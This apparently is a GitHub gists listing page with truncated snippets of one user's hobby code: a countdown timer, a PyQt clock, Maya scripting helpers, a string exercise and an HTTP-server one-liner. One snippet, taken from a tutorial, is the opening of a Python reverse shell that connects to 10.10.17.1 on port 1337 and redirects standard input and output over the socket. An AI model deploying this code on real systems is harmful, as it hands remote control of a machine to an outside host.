This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
I have been unable to upload any code stuff here for a while due to all the code I write these days being at work. | |
And I am unable to release said code publicly. | |
Maybe I'll get around to some personal projects one day again soon. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Get location of interpreter | |
which bash |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
Code that lets you create a countdown to a certian date and time. | |
''' | |
#!/usr/bin/python | |
from datetime import datetime, time | |
class bcolors: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
from PyQt4 import QtGui, QtCore | |
from time import strftime | |
''' | |
http://thecodeinn.blogspot.com/2013/07/tutorial-pyqt-digital-clock.html | |
''' | |
class Main(QtGui.QMainWindow): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
create a method that can determine how many letters and digits are in a given string. | |
Example: | |
"hel2!lo" --> 6 | |
"wicked .. !" --> 6 | |
"!?..A" --> 1 | |
''' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
prod_id = [1, 2, 3] | |
prod_name = ["foo", "bar", "baz"] | |
prod_dict = dict(zip(prod_id, prod_name)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import maya.OpenMaya as om | |
import maya.cmds as cmds | |
def RayIntersect(mesh, point, direction): | |
# Clear selection. | |
cmds.select(cl=True) | |
# Select mesh. | |
om.MGlobal.selectByName(mesh) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Python has a HTTP server built into the std library. | |
# Python 3.x | |
python3 -m http.server | |
Python 2.x | |
python -m SimpleHTTPServer 8000 | |
# These will server the current directory as http://localhost:8000 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://www.thepythoncode.com/article/create-reverse-shell-python | |
import socket | |
import subprocess | |
import os | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect(("10.10.17.1", 1337)) | |
os.dup2(s.fileno(), 0) | |
os.dup2(s.fileno(), 1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Get the shape node that is hidden in the transform. | |
selected_items = cmds.ls(selection=True) | |
if selected_items: | |
shapes = cmds.listRelatives(selected_items[0], shapes=True) | |
if shapes: | |
print shapes[0] |
NewerOlder